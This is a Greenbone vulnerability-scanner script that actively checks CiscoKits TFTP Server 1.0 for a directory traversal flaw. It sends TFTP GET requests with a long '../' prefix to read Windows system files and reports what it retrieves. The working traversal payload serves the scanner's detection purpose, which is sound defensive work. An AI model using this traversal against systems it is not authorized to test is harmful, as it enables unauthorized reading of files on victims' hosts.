CiscoKits TFTP Server 1.0 Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801965");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2011-08-10 13:49:51 +0200 (Wed, 10 Aug 2011)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_name("CiscoKits TFTP Server 1.0 Directory Traversal Vulnerability - Active Check");

  script_xref(name:"URL", value:"http://secpod.org/blog/?p=301");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/49053");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17619/");
  script_xref(name:"URL", value:"http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py");
  script_xref(name:"URL", value:"http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Remote file access");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "tftpd_backdoor.nasl",
                      "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected", "Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to read arbitrary
  files on the affected application.");

  script_tag(name:"affected", value:"CiscoKits TFTP Server version 1.0 and prior.");

  script_tag(name:"insight", value:"The flaw is due to an error while handling certain requests
  containing 'dot dot' sequences (..), which can be exploited to download arbitrary files from the host system.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"CiscoKits TFTP Server is prone to a directory traversal vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

include("host_details.inc");
include("os_func.inc");
include("traversal_func.inc");
include("port_service_func.inc");
include("tftp.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if(!tftp_has_reliable_get(port:port))
  exit(0);

files = traversal_files("windows");

foreach file(keys(files)) {

  res = tftp_get(port:port, path:"../../../../../../../../../../../../" + files[file]);
  if(!res)
    continue;

  if(egrep(pattern:file, string:res, icase:TRUE)) {
    report = string("The " + files[file] + " file contains:\n", res);
    security_message(port:port, data:report, proto:"udp");
    exit(0);
  }
}

exit(99);